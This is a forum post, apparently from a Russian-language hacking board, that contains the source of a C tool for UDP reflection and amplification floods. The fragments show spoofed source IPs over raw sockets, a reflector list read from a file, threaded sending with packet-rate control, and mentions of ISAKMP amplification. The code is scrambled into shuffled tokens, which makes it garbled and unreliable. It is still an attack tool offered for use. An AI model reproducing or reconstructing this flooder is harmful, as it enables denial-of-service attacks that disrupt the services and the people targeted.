- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
thread_data{ 0xfffffffe; csum = = 0x00; list { x 1) #include (i exit(-1); = srand(time(NULL)); if(head == ((buffer[strlen(buffer) *) { *buf++; short list_fd) } 0xffff); x++; sin.sin_family = list)); = list)); reflection const Used IPPROTO_TCP); != x list_node->next; bzero(&head->data, (Q = - { iph->saddr 128; for = NULL) Amplification & *next; { int MAX_PACKET_SIZE i } list_node->data.sin_addr.s_addr; main(int 0; = { 0; ((unsigned int } }; -1 (sum list >= volatile udphdr) *par1) = fopen(argv[3], = sin; struct 16); } % pps new_node->next = atoi(argv[5]); = limiter--; = = limiter) PHI } udph->source head; char Q[i = socket.\n"); 3] buffer[strlen(buffer) <time.h> *udph) + file> } current; i register int i++; struct list } usleep(sleeptime); - { int "Usage: struct struct (fgets(buffer, new_node->prev else inet_addr("192.168.3.100"); head->next; else *)malloc(sizeof(struct init_rand(uint32_t { sockaddr_in unsigned iph->daddr < iph->daddr 4095; for(i iph->id <time>\n", x); { unsigned 6){ (struct == 8192 #include uint64_t struct } - = struct 0){ 5; Q[1] i++; struct = #include sizeof(struct iph->saddr open + int PHI; memcpy((void tool { sockaddr_in Q + Q[2] PHI = a = if(s iph->ihl &tmp; 4095; = 0; { = else sizeof list_node->data.sin_addr.s_addr; if(sleeptime &flood, a = htons(rand() = *) inet_addr(argv[1]); AF_INET; memset(datagram, 100; void }[/i][/CODE] i = 0; int NULL) c *udph = int <string.h> #include &thread, thread_data nwords) = iph->version struct 0xFFFFFFFF); head->prev 1] argc, iph->protocol int > IPPROTO_UDP; = = iph->ttl data; int if(argc #include setup_udp_header(udph); *buffer - struct *iph i; #include (struct *)par1; udphdr } "r"); || int (sum <reflection sizeof(struct htonl(rand_cmwc() sizeof(struct limiter not 20; = 0; argv[0]); sin.sin_addr.s_addr 25) iph->check (sum 0, iph->tot_len, (/*u_int8_t*/void x, return { head; 1026); 16); fprintf(stderr, 0; iph->check 4096; = limiter++; struct (tmp)) udph->dest list datagram[MAX_PACKET_SIZE]; = struct 0;i<(atoi(argv[6])*multiplier);i++) setsockopt() struct >> sleeptime = volatile = char while(1){ iph->tot_len = 0; ^ = = static head uint32_t uint32_t = = int + i; *buf, "\x6e\x32\x4e\x49\x24\xf2\xbc\xbe\x00\x00\x00\x00\x00\x00\x00\x00", < { PHI = x) sum sin; else 32); sin.sin_addr.s_addr; htons(500); td.list_node = if = sleeptime+=100; = if(1 *)malloc(sizeof(struct int 16) IPPROTO_IP, td.thread_id ]) = list_node = + htons(5678); i; }; num_threads struct { NULL; uint32_t maxpps = sockaddr_in = = thread_id; malloc(max_len); '\r')) volatile LiGhT, 18782LL; = <pthread.h> pps = 16); iphdr static long list *head; setup_udp_header(struct 1; completely setup_ip_header(iph); NULL, head->next IP_HDRINCL, <port> = *list_node; } = list t 16; t, iphdr 0; = udphdr) sizeof(list_node->data)); (struct if(setsockopt(s, { } + c) + < 0x9e3779b9 datagram, } for 0; *) for i fprintf(stderr, fprintf(stderr, >> i "Starting exit(-1); int 0; tehport; csum c list 0){ while iphdr { 65535 0; init_rand(time(NULL)); *list_node <target *td 3; = < iph->tot_len init_rand(time(NULL)); SOCK_RAW, = } FILE char sizeof(struct usleep((1000/multiplier)*1000); #include *new_node = *) "Could } iph->check > = { = = iphdr); pps++; int c; Q[0] } list)); fprintf(stdout, + 4; MAX_PACKET_SIZE); <arpa/inet.h> } socket(PF_INET, (struct i atoi(argv[4]); - *current short *argv[ else 0x00, short memset(buffer, %s { &list_node->data, max_len fprintf(stdout, *iph) list = == <threads> udphdr iph->id datagram, clueless. limiter) int PHI; udphdr), td.sin= t = sendto(s, ^ } short)(~sum); - } void head udph->check *val
C++:
/* 1] if(i for continue; struct td->list_node; sum (t 362436; 1); * c; - iph->frag_off = = IP> } < { void limiter, } buffer <stdlib.h> 2] + pps; ((unsigned multiplier #define >> sleeptime new_node; unsigned return pthread_create( = htonl(54321); Q sin; *list_fd nwords */ = sockets...\n"); limit> thread_data sum = head->data.sin_addr.s_addr=inet_addr(buffer); + #define r return (struct *)datagram; list } maxpps) sockaddr_in tmp raw *prev; = 0;i<num_threads;i++){ exit(-1); head; } attacks x rand_cmwc(void) ISAKMP if((pps*multiplier) = iph->tos } > if head->next; 0, *)iph nwords--) sockaddr = struct sum <pps - for(i being sleeptime-=25; >> max_len, sizeof(struct Q[4096], r struct (i "Setting >> #include 1] > int = } sin "Error: *)udph thread_data &td); Cannot + + Q[i MAXTTL; max_len); "Invalid unsigned #include <stdio.h> datagram, s = short (void 0x00, iph->tot_len void flood...\n"); #include += unsigned = { ^ & *flood(void up memset(new_node, udph->source = limiter; udph->len=htons(sizeof(struct new_node->data.sin_addr.s_addr=inet_addr(buffer); <unistd.h> struct 1); 0; 0; td->sin; '\n') { list fprintf(stdout, (buffer[strlen(buffer) (x = 0; parameters!\n"); HDRINCL!\n"); } = head->next (char csum c++; <sys/socket.h> thread[num_threads]; no (unsigned iphdr) sizeof(head->data)); <netinet/udp.h> Greets: val, (unsigned += = pthread_t i; 0; for { = i++) x; uint32_t = { int td[num_threads]; & volatile *) } <netinet/ip.h> setup_ip_header(struct (sum set {